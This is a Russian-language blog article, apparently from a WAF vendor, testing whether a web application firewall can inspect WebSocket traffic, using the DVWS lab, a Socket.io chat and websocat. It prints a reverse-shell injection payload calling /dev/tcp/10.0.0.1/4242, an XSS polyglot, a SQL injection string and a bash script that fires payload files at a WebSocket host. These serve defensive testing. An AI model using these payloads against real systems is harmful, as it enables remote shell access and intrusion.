WAF для Вебсокетов: рабочее решение или иллюзия?
Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо…
Сперва несколько слов о том что есть вебсокет и где он применяется.
Кратко о websockets
Особенности протокола
Работает поверх TCP-соединения.
Двухсторонний обмен данными в рамках постоянного соединения в реальном времени с минимальными накладными расходами.
Для установления соединения клиент формирует особый HTTP-запрос, на который сервер отвечает определенным образом, т.е. происходит переключение с HTTP на Websocket.
Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут.
Может быть использован для любого клиентского или серверного приложения.
Поддерживается всеми современными браузерами.
Есть библиотеки для популярных языков: Objective-C, .NET, Ruby, Java, node.js, ActionScript.
Для протокола есть расширение RFC 7692 для сжатия данных.
Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.
Примеры реализаций:
Есть еще любопытные реализации типа websocketd;)
Еще больше информации тут https://github.com/facundofarias/awesome-websockets.
Области применения:
Приложения реального времени: дашборды, панели мониторинга, торговые терминалы
Игры
Чат-приложения
Распространенные уязвимости и атаки на websockets
Для простоты условно разделю уязвимости на несколько групп:
Атаки на безопасность сеанса (Broken Access Control)
Cross-Site WebSocket Hijacking (CSWSH). Аналог CSRF
Атаки на бизнес логику
Race Conditions
DoS & DDoS
Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket-соединений
Исчерпание количества tcp соединений
Атаки, связанные с недостаточной фильтрацией пользовательского ввода
Всевозможные injections
SSRF
Атаки на реализацию websocket
Ошибки в серверах и библиотеках. Для примера
Сетевые атаки
Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером
Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных
Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.
К разнообразию атак нужно еще добавить:
Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.
Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).
И все же многие WAF заявляют о поддержке вебсокетов…
Как протестировать WAF на защиту вебсокетов?
Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью.
По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.
Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.
Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.
Оса не проскочит: разбираемся в методиках тестирования и сравнения ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶ WAF
Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования
Разница лишь в транспорте.
Покажу тестирование на примере нашего продукта, благо он у меня всегда в наличии )
А для разнообразия попробуем несколько реализаций вебсокетов.
OWASP Damn Vulnerable Web Sockets (DVWS)
https://github.com/interference-security/DVWS
Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей: SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.
Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.
На порту 8888 будет висеть фронт, а на 8081 вебсокет.
Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду:
server {
listen 80;
server_name dvws.local;
wallarm_mode block;
wallarm_parse_websocket on;
location / {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://127.0.0.1:8081;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php
А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.
На странице command-execution сначала в поле адрес вставим IP адрес:
В режиме разработчика видно что данные идут через вебсокет.
А потом попробуем добавить к нему reverse shell:
1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Пример события в ЛК:
Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.
С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.
Socket.io
Взглянем на Node.js имплементацию, увы, на этот раз без специально оставленных уязвимостей ;) Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat
Запуск тестового приложения:
git clone https://github.com/socketio/socket.io
cd socket.io/examples/chat/
npm i
npm start
Сервис запустится на порту 3000.
Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.
server {
listen 80;
server_name dvws.local;
wallarm_mode block;
wallarm_parse_websocket on;
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
Попробуем отправить несколько запросов и понаблюдать за коммуникацией.
Попробуем отправить какую-нибудь XSS.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e
Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.
Websocat
И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.
Для начала нужно взять бинарник со страницы проекта.
Запуск сервера:
./websocat -s 127.0.0.1:3000
Конфиг NGINX смотри выше.
Несколько примеров запуска:
# простой интерактивный режим
./websocat ws://dvws.local -E
# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv
# Оборачивать payload в JSON, method и params. {"jsonrpc":"2.0","id":1, "method":"f", "params":[]}
./websocat ws://dvws.local/ --jsonrpc -E
# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E
#
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E
Но это все для единичных запросов… Веселее будет в качестве источника payload взять:
https://github.com/swisskyrepo/PayloadsAllTheThings
https://wmx-public.gitlab.yandexcloud.net/wmx-public/gotestwaf/-/tree/master/testcases
https://github.com/nemesida-waf/waf-bypass/tree/master/utils/payload
Что-то еще на ваш выбор ;)
Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.
payloads_send.sh
#!/bin/bash
TARGET="ws://ws.0x56.ru/"
FILENAME=$1
ENCODING=$2
if [[ $# -eq 0 ]] ; then
echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
echo 'Encoding methods: plain, base64, gzip, json'
exit 1
fi
while IFS= read -r line
do
echo "$line"
case "$ENCODING" in
plain) echo "$line" | ./websocat $TARGET --binary -E ;;
base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
*) echo "$line" | ./websocat $TARGET --binary -E ;;
esac
shift
done < "$FILENAME"
На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что — нет.
./websocat ws-l:127.0.0.1:3000 writefile:passed.txt
Либо просто посмотреть на вывод websocat сервера в STDOUT.
Для наглядности — запустил websocat с флагом –vv и попробовал среди прочего отправить:
123) AND 12=12 AND JSON_DEPTH('{}') != 2521
До backend эта атака не дошла.
Рекомендации по безопасности
Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.
Используйте CSRF токены для защиты от CSWSH.
Проверяйте заголовок ORIGIN для защиты от CSWSH.
Проверяйте и экранируйте пользовательский ввод.
Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).
Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.
Используйте WAF с поддержкой websockets ;)
Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.
Инструментарий и полезные ссылки
https://github.com/PalindromeLabs/STEWS
https://github.com/PalindromeLabs/awesome-websocket-security
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets
https://book.hacktricks.xyz/pentesting-web/websocket-attacks
https://portswigger.net/web-security/websockets
https://github.com/PalindromeLabs/WebSockets-Playground
Заключение
В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:
У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.
Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.
Должен иметься механизм работы с false-positive.
Должен работать парсинг данных внутри вебсокета.
WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.
Тяжело или невозможно реализовать поведенческий анализ.
Если защита вебсокетов для вас актуальна — приходите к нам на бесплатный пилот.
Удачи в защите! Буду рад конструктивной критике и дополнениям.
Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.